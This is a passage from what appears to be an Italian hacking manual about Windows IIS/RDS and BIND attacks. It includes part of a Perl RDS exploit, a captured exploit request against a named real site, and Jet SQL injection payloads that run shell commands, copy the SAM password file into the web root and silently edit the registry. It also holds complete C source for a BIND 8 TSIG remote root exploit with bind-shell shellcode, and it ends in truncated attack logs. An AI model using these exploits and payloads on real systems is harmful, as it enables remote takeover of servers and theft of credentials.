if(!$uncpath=~/^\\\\[a-zA-Z0-9_.]+\\[-a-zA-Z0-9_]+\\.+/){
print
"Your UNC path sucks. You need the following format:\n".
"\\server(ip preferable)\share\some-file.mdb\n\n"; exit; }
if(create_table($driverline.$uncpath)){
if(run_query($driverline.$uncpath)){
print "Success!\n"; save ("dbq=".$uncpath); exit;}}
}
##############################################################################
sub get_name { # this was added last minute
my $msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: 126
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0
--!ADM!ROX!YOUR!WORLD!-EOT
; $msadc=~s/\n/\r\n/g;
my @results=sendraw($msadc);
my $base=content_start(@results);
$results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
print "Machine name: $results[$base+6]\n";}
##############################################################################
# special greets to trambottic, hex_edit, vacuum (technotronic), all #!adm,
# #!w00w00 & #rhino9 (that's a lot of people, and they are all very elite and
# good friends!), wiretrip, l0pht, nmrc & all of phrack
#
# thumbs up to packetstorm, hackernews, phrack, securityfocus, ntsecadvice
#
# I wish I could really name everyone, but I can't. Don't feel slighted if
# your not on the list... :)
##############################################################################

Sempre in rete possibile reperire un infinit di utilities le quali sono indirizzate allesecuzione
di questo tipo di exploit mediante un interfaccia grafica.

Una di queste rimane residente nella toolbar dei programmi attivi, quella in basso a destra, e
quindi possibile richiamarla ogni qualvolta se ne richieda luso.
Il programma si chiama RDSExploit.
Per capire come di fatto questo funziona possibile utilizzare una tecnica di sniffing
indirizzata a vedere i dati trasmessi dal programma e un sito qualsiasi non soggetto al BUG.
Questa metodologia si basa sulla ricostruzione della sessione TCP fatta da COMMVIEW.
In pratica inseriamo un URL dentro al programma e richiediamo a COMVIEW di farci vedere
la connessione eseguita con questo sito.

A questo punto selezioniamo la riga con la connessione e mediante lopzione che viene
mostrata premendo il tasto destro del mouse, jump to first racket of , andiamo sul primo
pacchetto di questa.
Scegliamo la voce di menu TOOLS e poi quella relativa alla ricostruzione di tutta le sessione
TCP.

Nella finestra ci verr mostrata tutta le sequenza di dati scambiata tra noi e il sto di
destinazione.
I dati scritti in rosso sono quelli inviati mentre quelli blu sono quelli ricevuti.
COMMVIEW ci d la possibilit di vedere in diversi formati le informazioni e precisamente in
ASCII, ESADECIMALE ecc.
Il testo usato dal programma e quello ricevuto :
POST /msadc/msadcs.dll/AdvancedDataFactory.Execute HTTP/1.1
User-Agent: ACTIVEDATA
Host: www.inalessandria.it
Content-Length: 649
Connection: Keep-Alive
Cache-Control: no-cache
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=/o)vc.ct6oziz-lo?/s0; numargs=10
--/o)vc.ct6oziz-lo?/s0
Content-Type: application/x-varg
Content-Length: 439
....................J...C.o.m.m.a.n.d. .T.i.m.e.
.O.u.t.=.~.3.0.;.B.a.t.c.h. .S.i.z.e.=.~.1.5.;.U.p.d.a.t.e.
.C.r.i.t.e.r.i.a.=.~.2.;.B.a.c.k.g.r.o.u.n.d. .F.e.t.c.h.
.S.i.z.e.=.~.1.5.;.I.n.i.t.i.a.l. .F.e.t.c.h.
.S.i.z.e.=.~.5.0.;.B.a.c.k.g.r.o.u.n.d. .t.h.r.e.a.d.
.P.r.i.o.r.i.t.y.=.~.3.;.A.u.t.o.
.R.e.c.a.l.c.=.~.1.;.U.p.d.a.t.e.
.R.e.s.y.n.c.=.~.1.........0...S.E.L.E.C.T. .*. .F.R.O.M.
.P.r.o.d.u.c.t.s.
.
..............M.o.d.e.=.3.
--/o)vc.ct6oziz-lo?/s0-HTTP/1.1 100 Continue

Server: Microsoft-IIS/4.0
Date: Sun, 10 Mar 2002 10:47:43 GMT
HTTP/1.1 405 Method not allowed
Server: Microsoft-IIS/4.0
Date: Sun, 10 Mar 2002 10:47:43 GMT
Connection: close
Allow: OPTIONS, TRACE, GET, HEAD, PUT, DELETE, POST
Content-Length: 545
Content-Type: text/html
<html><head><title>Error 405</title>
<meta name="robots" content="noindex">
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-88591"></head>
<body>
<h2>HTTP Error 405</h2>
<p><strong>405 Method Not Allowed</strong></p>
<p>The method specified in the Request Line is not allowed for the
resource identified by the request. Please ensure that you have the
proper MIME type set up for the resource you are requesting.</p>
<p>Please contact the server's administrator if this problem
persists.</p>
</body></html>
La visualizzazione in questo modo semplifica lindividuazione precisa del metodo usato per
inoltrare la query.

Links
- Office 97/Jet 3.5 update binary (i386)
http://www.wiretrip.net/rfp/bins/msadc/jetcopkg.exe
http://officeupdate.microsoft.com/isapi/gooffupd.asp
?TARGET=/downloaditems/JetCopkg.exe
- Microsoft Universal Data Access homepage
http://www.microsoft.com/data/
- MDAC 2.1.2.4202.3 (GA) (aka MDAC 2.1 sp2) update (i386)
http://www.wiretrip.net/rfp/bins/msadc/mdac_typ.exe
http://www.microsoft.com/data/download_21242023.htm
- MDAC 2.1.1.3711.11 (GA) (aka MDAC 2.1 sp1) hotfix
http://www.microsoft.com/data/download/jetODBC.exe
- MDAC 2.1 release manifest
http://www.microsoft.com/data/MDAC21info/MDAC21sp2manifest.htm
- MDAC 2.1 installation FAQ
http://www.microsoft.com/data/MDAC21info/MDACinstQ.htm
- Security Implications of RDS 1.5, IIS 3.0 or 4.0, and ODBC
http://support.microsoft.com/support/kb/articles/q184/3/75.asp
- Unauthorized ODBC Data Access with IIS and RDS (MS99-004)
http://www.microsoft.com/security/bulletins/ms98-004.asp
- Re-release of MS99-004 (MS99-025)
http://www.microsoft.com/security/bulletins/ms99-025.asp
- MS99-025 FAQ (best explanation of problem by Microsoft)
http://www.microsoft.com/security/bulletins/MS99-025faq.asp

- MS99-30: Patch available for Office ODBC Vulnerabilities


http://www.microsoft.com/security/bulletins/ms99-030.asp
- Jet Expression Can Execute Unsafe VBA Functions
http://support.microsoft.com/support/kb/articles/q239/1/04.asp
- Implementing Custom Handlers in RDS 2.0
http://www.microsoft.com/Data/ado/rds/custhand.htm
- Handsafe registry patch (enables handlers)
http://www.wiretrip.net/rfp/bins/msadc/handsafe.exe
http://www.microsoft.com/security/bulletins/handsafe.exe
- RFP9901: NT ODBC remote compromise
http://www.wiretrip.net/rfp/p/doc.asp?id=3&iface=2
- RFP9902: RDS/IIS 4.0 vulnerability and exploit
http://www.wiretrip.net/rfp/p/doc.asp?id=1&iface=2
- RDS exploit (msadc.pl v1 and v2)
http://www.wiretrip.net/rfp/p/doc.asp?id=16&iface=2
- ULG recommended fix on OSALL
http://www.aviary-mag.com/News/Powerful_Exploit/ULG_Fix/ulg_fix.html
- CERT blurb
http://www.cert.org/current/current_activity.html#0
- Attrition mirror of defaced websites (patch or you'll be on it!)
http://www.attrition.org/mirror/attrition/
Il programma sfruttando lUNICODE BUG cerca di eseguire il comando specificato nel
secondo campo di edit.
ODBC permette ad un programma di accedere ad un database relazionale utilizzando SQL.
Se un client sbaglia a quotare correttamente i meta caratteri allinterno di blocco di dati usati
da una query SQL, un attaccante potrebbe essere in grado di interferire con le tabelle di un
database.
Tuttavia il Microsoft "Jet" database engine (MS Access) fornisce alcune estensioni di SQL le
quali permettono lesecuzione di codice VBA (Visual Basic for Applications).
Questo fornisce un buco nellambito del sistema di quoting dei Meta caratteri che pu risultare
pericoloso.
In SQL le stringhe devono essere quotate mediante le virgolette singole ovvero i caratteri .
Se una delle stringhe dovesse contenere questo carattere gi per se stesso, questo dovrebbe
essere fornito raddoppiato.
Il Jet engine estende questo permettendo che nelle stringhe possano essere inseriti
statement VBA i quali devono essere inseriti tra I caratteri che vengono visti come barre
verticali ovvero i caratteri detti di pipe.
Un esempio :
select 'lil'' string | 6+7 | with number' as foo from table;
Questo stringa di comando crea un recordset contenente un campo con il valore
"lil' string 13 with number"
per ogni riga della tabella dinput.
Abbastanza innocuo se i CGI o un programma ASP correggono il quoting dei dati in ingresso.
Purtroppo luso di questo carattere di pipe abbastanza sconosciuto per cui possono
verificarsi dei problemi legati a questo.
Questo carattere detto anche barra verticale un carattere riservato per il Jet database
engine.
Esso dice al Jet database engine di valutare gli identificatori prima di valutare il resto
dellespressione.
Di conseguenza il Jet database engine inserisce il valore dellidentificatore nellespressione e
quindi la valuta.
La barra verticale spesso utilizzata nelle funzioni di aggregazioni dei domini quando si
vuole
che
la
funzione
stessa
rivaluti
il
valore
ritornato
nel
filtro.
In altro modo la barra verticale viene utilizzata come alternativa alloperatore (&) quando si
vuole concatenare un valore di testo.

A causa di questo, dato che non potete includere la barra verticale in una stringa letterale,
dovrete utilizzare la funzione Chr() per poterlo fare.
Usando Chr(124) come se usaste la barra verticale.
Qualsiasi dei dati inclusi in una Jet SQL query possono contenere degli statement quotati
VBA, infatti qualsiasi funzione listata nel "Functions Reference" di VBA viene valutata e quindi
funziona, bench questo sembri essere differente da versione a versione del Jet engine
stesso.
Per esempio in alcuni casi la funzione "eval" funziona mentre in altri casi no.
Il comando pi utilizzato il comando "shell", sebbene questo di per se stesso non possa
eseguire redirezioni o pipes.
Utilizzando la funzione shell ed eseguendo il file cmd.exe, un attaccante pu eseguire
qualsiasi comando sul sistema.
environ() pu anche essere usato per usare I valori delle variabili di environment allinterno
dei vostri comandi, e chr() pu essere veramente funzionale per quotare dei caratteri
alfanumerici e parentesi.
Ci sono anche funzioni standard del tipo di iif() e altri operatori legati alle operazioni sulle
stringhe (usate "&" per la concatenazione).
Un esempio pratico di uso dei caratteri di pipe :
|shell("cmd /c echo " & chr(124) & " format a:")|
Il comando precedente formatta il floppy.
Qualsiasi errore viene ignorato.
Luso di "cmd /c" permette al comando di ricevere un newline allinterno del comando di
format, altrimenti il pipe e il format verrebbero passati come argomento all 'echo'.
Questa stringa pu essere inclusa in qualsiasi cosa da una semplice operazione ODBC a un
oggetto di testo dentro un form ASP di una pagina WEB.
Un esempio pi sofisticato riguarda il fatto di afferrare una copia del SAM:
|shell("cmd /c rdisk /S-")|
|shell("cmd /c copy c:\winnt\repair\sam._ c:\inetput\wwwroot")|
I comandi possono essere accatasati:
|shell("cmd /c echo 1 > %temp%\foo.txt") & shell("cmd /c echo 2 \ >> %temp%\foo.txt") &
shell("cmd /c echo 3 >> %temp%\foo.txt")|
Mediante questi comandi sarebbe al limite possibile anche modificare delle voci dentro al
registro.
Questo teoricamente non potrebbe essere possibile farlo in modo diretto ma mediante un
stratagemma si.
Il altre parole potrebbe essere possibile creare da prima un file .REG e successivamente
inserirlo detro al registro di Windows.
"cmd /c regedit /s %temp%\tmp.reg";
Il comando '/s' importante in quanto sopprime la finestra informativa che segnalerebbe
lavvenuta modifica del registro.
Per fare un esempio possiamo usare un file di esempio il quale nella normalit dovrebbe
essere richiamato con :
http://www.example.com/scripts/samples/details.idc?Fname=&Lname
Ora sostituiamo lultima parte con :
details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|
Questa usa un nome DSN chiamato "Web SQL".
La tabella attuale deve essere inizializzata dentro al DSN mediante il seguente codice :
http://www.example.com/scripts/samples/ctguestb.idc

Ritornando alla teoria degli ODBC possiamo dire che una determinata applicazione pu
connettersi al servizio ODBC specificando il nome del DSN il quale generalmente viene
creato tramite lapposito applet presente nel pannello di controllo chiamato ODBC32.
Ogni singolo DSN composto da un nome, da una descrizione, dal driver da utilizzare (ad
esempio ACCESS o SQLSERVER) e dalla locazione del file di dati.
I DSN possono utilizzare qualsiasi driver legato allaccesso ai pi disparati sistemi di
database.
Se il DSN non fosse stato creato mediante le opzioni dentro al pannello di controllo, tramite
due utilities, precisamente getdrvrs.exe e dsnform.exe, sarebbe possibile crearlo tramite CGI
funzionanti sotto IIS.
La sequenza di operazioni sono :

http://server/scripts/tools/getdrvrs.exe
scelta Microsoft Access Driver (*.mdb)
Inserimento di un nome corretto DSN
Inserimento percorso database Ad esempio: c:\web.mdb
Conferma

E possibile anche passare i parametri a :


http://server/scripts/tools/newdsn.exe?driver=Microsoft%2B
Access%2BDriver%2B%28*.mdb%29&dsn=DSN_name&dbq=c:\web.mdb&
newdb=CREATE_DB&attr=
Volendo ora riportare alcuni esempi potremmo partire vedendo uno script classico :
http://server/scripts/samples/details.idc?Fname=&Lname=
Allinterno di Fnamo o Lname potrebbe essere composto il comando :
details.idc?Fname=hi&Lname=|shell("cmd+/c+dir")|

I problemi legati al DNS


Il protocollo 53 legato al server DNS sempre stato uno dei maggiori problemi nellambito
della sicurezza.
Supponiamo di avere un server su cui gira un server DNS e ce ad un certo punto, dopo aver
verificato certi problemi, andando a vedere i files di log ci ritroviamo davanti a :
Apr 23 01:27:01 ns.victim.com named[98]: /usr/sbin/named: Segmentation fault
core dumped
Apr 23 01:30:00 ns.victim.com watchdog[100]: named not found in process
table, restarting
Apr 23 01:30:10 ns.victim.com watchdog[100]: named[14231] restarted
Apr 23 01:31:19 ns.victim.com named[98]: /usr/sbin/named: Segmentation fault
core dumped

Cosa potrebbe essere capitato ?


Quasi sicuramente un attacco al DNS tramite uno dei vari bugs che bind nel tempo ha
posseduto.
Uno dei pi famosi bugs quello definito con il termine di BIND TSIG.
BIND versione 8 contiene un buffer overflow alinterno di quello che viene chiamato con
Transaction Signatures (TSIG).
Lexploit per questo bugs quello che segue.
NOTA: Questo problema ancora presente su moltissimi sistemi.
/*
This exploit has been fixed and extensive explanation and clarification
* added.
* Cleanup done by:
* Ian Goldberg <ian@cypherpunks.ca>

* Jonathan Wilkins <jwilkins@bitland.net>


* NOTE: the default installation of RedHat 6.2 seems to not be affected
* due to the compiler options. If BIND is built from source then the
* bug is able to manifest itself.
*/
/*
* Original Comment:
* lame named 8.2.x remote exploit by
*
* Ix [adresadeforward@yahoo.com] (the master of jmpz),
* lucysoft [lucysoft@hotmail.com] (the master of queries)
*
* this exploits the named INFOLEAK and TSIG bug (see
http://www.isc.org/products/BIND/bind-security.html)
* linux only shellcode
* this is only for demo purposes, we are not responsable in any way for
what you do with this code.
*
* flamez - canaris
* greetz - blizzard, netman.
* creditz - anathema <anathema@hack.co.za> for the original shellcode
* - additional code ripped from statdx exploit by ron1n
*
* woo, almost forgot... this exploit is pretty much broken (+4 errors), but
we hope you got the idea.
* if you understand how it works, it won't be too hard to un-broke it
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <time.h>
#include <string.h>
#include <ctype.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#define max(a,b) ((a)>(b)?(a):(b))
#define BUFFSIZE 4096
int argevdisp1, argevdisp2;
char shellcode[] =
/* The numbers at the right indicate the number of bytes the call takes
* and the number of bytes used so far. This needs to be lower than
* 62 in order to fit in a single Query Record. 2 are used in total to
* send the shell code
*/
/* main: */
/* "callz" is more than 127 bytes away, so we jump to an intermediate
spot first */
"\xeb\x44" /* jmp intr */ // 2 - 2
/* start: */
"\x5e" /* popl %esi */ // 1 - 3
/* socket() */
"\x29\xc0" /* subl %eax, %eax */ // 2 - 5
"\x89\x46\x10" /* movl %eax, 0x10(%esi) */ // 3 - 8
"\x40" /* incl %eax */ // 1 - 9
"\x89\xc3" /* movl %eax, %ebx */ // 2 - 11
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ // 3 - 14
"\x40" /* incl %eax */ // 1 - 15
"\x89\x46\x08" /* movl %eax, 0x08(%esi) */ // 3 - 18
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 21
"\xb0\x66" /* movb $0x66, %al */ // 2 - 23

"\xcd\x80" /* int $0x80 */ // 2 - 25


/* bind() */
"\x43" /* incl %ebx */ // 1 - 26
"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */ // 4 - 30
"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ // 4 - 34
"\x88\x46\x08" /* movb %al, 0x08(%esi) */ // 3 - 37
"\x29\xc0" /* subl %eax, %eax */ // 2 - 39
"\x89\xc2" /* movl %eax, %edx */ // 2 - 41
"\x89\x46\x18" /* movl %eax, 0x18(%esi) */ // 3 - 44
/*
* the port address in hex (0x9000 = 36864), if this is changed, then a
similar
* change must be made in the connection() call
* NOTE: you only get to set the high byte
*/
"\xb0\x90" /* movb $0x90, %al */ // 2 - 46
"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ // 4 - 50
"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ // 3 - 53
"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 59
"\xeb\x02" /* jmp cont */ // 2 - 2
/* intr: */
"\xeb\x43" /* jmp callz */ // 2 - 4
/* cont: */
"\xb0\x66" /* movb $0x66, %al */ // 2 - 6
"\xcd\x80" /* int $0x80 */ // 2 - 10
/* listen() */
"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */ // 3 - 11
"\x43" /* incl %ebx */ // 1 - 12
"\x43" /* incl %ebx */ // 1 - 13
"\xb0\x66" /* movb $0x66, %al */ // 2 - 15
"\xcd\x80" /* int $0x80 */ // 2 - 17
/* accept() */
"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 20
"\x89\x56\x10" /* movl %edx, 0x10(%esi) */ // 3 - 23
"\xb0\x66" /* movb $0x66, %al */ // 2 - 25
"\x43" /* incl %ebx */ // 1 - 26
"\xcd\x80" /* int $0x80 */ // 1 - 27
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3" /* xchgb %al, %bl */ // 2 - 29
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 31
"\x29\xc9" /* subl %ecx, %ecx */ // 2 - 33
"\xcd\x80" /* int $0x80 */ // 2 - 35
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 37
"\x41" /* incl %ecx */ // 1 - 38
"\xcd\x80" /* int $0x80 */ // 2 - 40
"\xb0\x3f" /* movb $0x3f, %al */ // 2 - 42
"\x41" /* incl %ecx */ // 1 - 43
"\xcd\x80" /* int $0x80 */ // 2 - 45
/* execve() */
"\x88\x56\x07" /* movb %dl, 0x07(%esi) */ // 3 - 48
"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 51
"\x87\xf3" /* xchgl %esi, %ebx */ // 2 - 53
"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 56
"\xb0\x0b" /* movb $0x0b, %al */ // 2 - 58
"\xcd\x80" /* int $0x80 */ // 2 - 60
"\x90"
/* callz: */
"\xe8\x72\xff\xff\xff" /* call start */ // 5 - 5
"/bin/sh"; /* There's a NUL at the end here */ // 8 - 13
unsigned long resolve_host(char* host)
{
long res;
struct hostent* he;
if (0 > (res = inet_addr(host)))
{
if (!(he = gethostbyname(host)))

return(0);
res = *(unsigned long*)he->h_addr;
}
return(res);
}
int dumpbuf(char *buff, int len)
{
char line[17];
int x;
/* print out a pretty hex dump */
for(x=0;x<len;x++){
if(!(x%16) && x){
line[16] = 0;
printf("\t%s\n", line);
}
printf("%02X ", (unsigned char)buff[x]);
if(isprint((unsigned char)buff[x]))
line[x%16]=buff[x];
else
line[x%16]='.';
}
printf("\n");
}
void
runshell(int sockd)
{
char buff[1024];
int fmax, ret;
fd_set fds;
fmax = max(fileno(stdin), sockd) + 1;
send(sockd, "uname -a; id;\n", 15, 0);
for(;;)
{
FD_ZERO(&fds);
FD_SET(fileno(stdin), &fds);
FD_SET(sockd, &fds);
if(select(fmax, &fds, NULL, NULL, NULL) < 0)
{
exit(EXIT_FAILURE);
}
if(FD_ISSET(sockd, &fds))
{
bzero(buff, sizeof buff);
if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
{
exit(EXIT_FAILURE);
}
if(!ret)
{
fprintf(stderr, "Connection closed\n");
exit(EXIT_FAILURE);
}
write(fileno(stdout), buff, ret);
}
if(FD_ISSET(fileno(stdin), &fds))
{
bzero(buff, sizeof buff);
ret = read(fileno(stdin), buff, sizeof buff);
if(send(sockd, buff, ret, 0) != ret)
{
fprintf(stderr, "Transmission loss\n");
exit(EXIT_FAILURE);
}
}
}
}
connection(struct sockaddr_in host)
{

int sockd;
host.sin_port = htons(36864);
printf("[*] connecting..\n");
usleep(2000);
if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
exit(EXIT_FAILURE);
}
if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
{
printf("[*] wait for your shell..\n");
usleep(500);
runshell(sockd);
}
else
{
printf("[x] error: named not vulnerable or wrong offsets used\n");
}
close(sockd);
}
int infoleak_qry(char* buff)
{
HEADER* hdr;
int n, k;
char* ptr;
int qry_space = 12;
int dummy_names = 7;
int evil_size = 0xff;
memset(buff, 0, BUFFSIZE);
hdr = (HEADER*)buff;
hdr->id = htons(0xbeef);
hdr->opcode = IQUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(0);
hdr->nscount = htons(0);
hdr->ancount = htons(1);
hdr->arcount = htons(0);
ptr = buff + sizeof(HEADER);
printf("[d] HEADER is %d long\n", sizeof(HEADER));
n = 62;
for(k=0; k < dummy_names; k++)
{
*ptr++ = n;
ptr += n;
}
ptr += 1;
PUTSHORT(1/*ns_t_a*/, ptr); /* type */
PUTSHORT(T_A, ptr); /* class */
PUTLONG(1, ptr); /* ttl */
PUTSHORT(evil_size, ptr); /* our *evil* size */
return(ptr - buff + qry_space);
}
int evil_query(char* buff, int offset)
{
int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
HEADER* hdr;
char *ptr;
int k, bufflen;
u_int n, m;
u_short s;
int i;
int shelloff, shellstarted, shelldone;
int towrite, ourpack;
int n_dummy_rrs = 7;
printf("[d] evil_query(buff, %08x)\n", offset);
printf("[d] shellcode is %d long\n", sizeof(shellcode));
shelladdr = offset - 0x200;

lameaddr = shelladdr + 0x300;


ourpack = offset - 0x250 + 2;
towrite = (offset & ~0xff) - ourpack - 6;
printf("[d] olb = %d\n", (unsigned char) (offset & 0xff));
rroffsetidx = towrite / 70;
offset0 = towrite - rroffsetidx * 70;
if ((offset0 > 52) || (rroffsetidx > 6))
{
printf("[x] could not write our data in buffer (offset0=%d, rroffsetidx=
%d)\n", offset0, rroffsetidx);
return(-1);
}
rrshellidx = 1;
deplshellcode = 2;
hdr = (HEADER*)buff;
memset(buff, 0, BUFFSIZE);
/* complete the header */
hdr->id = htons(0xdead);
hdr->opcode = QUERY;
hdr->rd = 1;
hdr->ra = 1;
hdr->qdcount = htons(n_dummy_rrs);
hdr->ancount = htons(0);
hdr->arcount = htons(1);
ptr = buff + sizeof(HEADER);
shellstarted = 0;
shelldone = 0;
shelloff = 0;
n = 63;
for (k = 0; k < n_dummy_rrs; k++)
{
*ptr++ = (char)n;
for(i = 0; i < n-2; i++)
{
if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
{
printf("[*] injecting shellcode at %d\n", k);
shellstarted = 1;
}
if ((k == rroffsetidx) && (i == offset0))
{
*ptr++ = lameaddr & 0x000000ff;
*ptr++ = (lameaddr & 0x0000ff00) >> 8;
*ptr++ = (lameaddr & 0x00ff0000) >> 16;
*ptr++ = (lameaddr & 0xff000000) >> 24;
*ptr++ = shelladdr & 0x000000ff;
*ptr++ = (shelladdr & 0x0000ff00) >> 8;
*ptr++ = (shelladdr & 0x00ff0000) >> 16;
*ptr++ = (shelladdr & 0xff000000) >> 24;
*ptr++ = argevdisp1 & 0x000000ff;
*ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
*ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
*ptr++ = (argevdisp1 & 0xff000000) >> 24;
*ptr++ = argevdisp2 & 0x000000ff;
*ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
*ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
*ptr++ = (argevdisp2 & 0xff000000) >> 24;
i += 15;
}
else
{
if (shellstarted && !shelldone)
{
*ptr++ = shellcode[shelloff++];
if(shelloff == (sizeof(shellcode)))
shelldone=1;
}
else

{
*ptr++ = i;
}
}
}
/* OK: this next set of bytes constitutes the end of the
* NAME field, the QTYPE field, and the QCLASS field.
* We have to have the shellcode skip over these bytes,
* as well as the leading 0x3f (63) byte for the next
* NAME field. We do that by putting a jmp instruction
* here.
*/
*ptr++ = 0xeb;
if (k == 0)
{
*ptr++ = 10;
/* For alignment reasons, we need to stick an extra
* NAME segment in here, of length 3 (2 + header).
*/
m = 2;
*ptr++ = (char)m; // header
ptr += 2;
}
else
{
*ptr++ = 0x07;
}
/* End the NAME with a compressed pointer. Note that it's
* not clear that the value used, C0 00, is legal (it
* points to the beginning of the packet), but BIND
apparently
* treats such things as name terminators, anyway.
*/
*ptr++ = 0xc0; /*NS_CMPRSFLGS*/
*ptr++ = 0x00; /*NS_CMPRSFLGS*/
ptr += 4; /* QTYPE, QCLASS */
}
/* Now we make the TSIG AR */
*ptr++ = 0x00; /* Empty name */
PUTSHORT(0xfa, ptr); /* Type TSIG */
PUTSHORT(0xff, ptr); /* Class ANY */
bufflen = ptr - buff;
// dumpbuf(buff, bufflen);
return(bufflen);
}
long xtract_offset(char* buff, int len)
{
long ret;
/* Here be dragons. */
/* (But seriously, the values here depend on compilation options
* used for BIND.
*/
ret = *((long*)&buff[0x214]);
argevdisp1 = 0x080d7cd0;
argevdisp2 = *((long*)&buff[0x264]);
printf("[d] argevdisp1 = %08x, argevdisp2 = %08x\n",

argevdisp1, argevdisp2);
// dumpbuf(buff, len);
return(ret);
}
int main(int argc, char* argv[])
{
struct sockaddr_in sa;
int sock;
long address;
char buff[BUFFSIZE];
int len, i;
long offset;
socklen_t reclen;
unsigned char foo[4];
printf("[*] named 8.2.x (< 8.2.3-REL) remote root exploit by lucysoft,
Ix\n");
printf("[*] fixed by ian@cypherpunks.ca and jwilkins@bitland.net\n\n");
address = 0;
if (argc < 2)
{
printf("[*] usage : %s host\n", argv[0]);
return(-1);
}
if (!(address = resolve_host(argv[1])))
{
printf("[x] unable to resolve %s, try using an IP address\n", argv[1]);
return(-1);
} else {
memcpy(foo, &address, 4);
printf("[*] attacking %s (%d.%d.%d.%d)\n", argv[1], foo[0], foo[1], foo[2],
foo[3]);
}
sa.sin_family = AF_INET;
if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
{
return(-1);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(53);
sa.sin_addr.s_addr= address;
len = infoleak_qry(buff);
printf("[d] infoleak_qry was %d long\n", len);
len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (len < 0)
{
printf("[*] unable to send iquery\n");
return(-1);
}
reclen = sizeof(sa);
len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
if (len < 0)
{
printf("[x] unable to receive iquery answer\n");
return(-1);
}
printf("[*] iquery resp len = %d\n", len);

offset = xtract_offset(buff, len);


printf("[*] retrieved stack offset = %x\n", offset);
len = evil_query(buff, offset);
if(len < 0){
printf("[x] error sending tsig packet\n");
return(0);
}
sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
if (0 > close(sock))
{
return(-1);
}
connection(sa);
return(0);
}

I files di log di attacchi hacker


Dallanalisi dei files di log relativi ad attacchi hackers portati avanti su dei sistemi di
aziende italiane possibile vedere i metodi usati per attivare i vari software come ad
esempio TFTP.
I files di LOG sono relativi a server FTP e server WEB.
21:13:53
21:13:53
21:13:57
21:13:57
21:14:03
21:14:03
21:14:08

62.243.121.193
62.243.121.193
62.243.121.193
62.243.121.193
62.243.121.193
62.243.121.193
62.243.121.193

[4]USER anonymous 331


[4]PASS anonymous@on.the.net 230
[4]sent /200k 550
[4]created 200k 550
[4]sent /images/-[-+01000+-]- 550
[4]created -[-+01000+-]- 550
[4]QUIT 226

#Software: Microsoft Internet Information Services 5.0


#Version: 1.0
#Date: 2002-01-11 22:01:08
#Fields: time c-ip cs-method cs-uri-stem sc-status
22:01:08 213.10.221.106 [1]USER anonymous 331
22:01:08 213.10.221.106 [1]PASS anonymous@on.the.net 230
22:01:32 213.10.221.106 [1]sent /images/=++1+mb++= 550
22:01:32 213.10.221.106 [1]created =++1+mb++= 550
22:01:38 213.10.221.106 [1]sent /images/_notes/=++1+mb++= 550
22:01:38 213.10.221.106 [1]created =++1+mb++= 550
22:01:49 213.10.221.106 [1]sent /=++1+mb++= 550
22:01:49 213.10.221.106 [1]created =++1+mb++= 550
22:01:56 213.10.221.106 [1]sent /Drop/=++1+mb++= 550
22:01:56 213.10.221.106 [1]created =++1+mb++= 550
22:02:04 213.10.221.106 [1]MKD j 550
22:02:10 213.10.221.106 [1]sent /Pickup/=++1+mb++= 550
22:02:10 213.10.221.106 [1]created =++1+mb++= 550
22:02:21 213.10.221.106 [1]sent /pages/=++1+mb++= 550
22:02:21 213.10.221.106 [1]created =++1+mb++= 550
22:02:26 213.10.221.106 [1]sent /pages/namerica/=++1+mb++= 550
22:02:26 213.10.221.106 [1]created =++1+mb++= 550
22:02:32 213.10.221.106 [1]sent /pages/meast/=++1+mb++= 550
22:02:32 213.10.221.106 [1]created =++1+mb++= 550
22:02:40 213.10.221.106 [1]sent /pages/europe/=++1+mb++= 550

22:02:40
22:02:47
22:02:47
22:02:55
22:02:55
22:03:02
22:03:02
22:03:10
22:03:10
22:03:18
22:03:18
22:03:25
22:16:04
22:16:04
22:16:18

213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
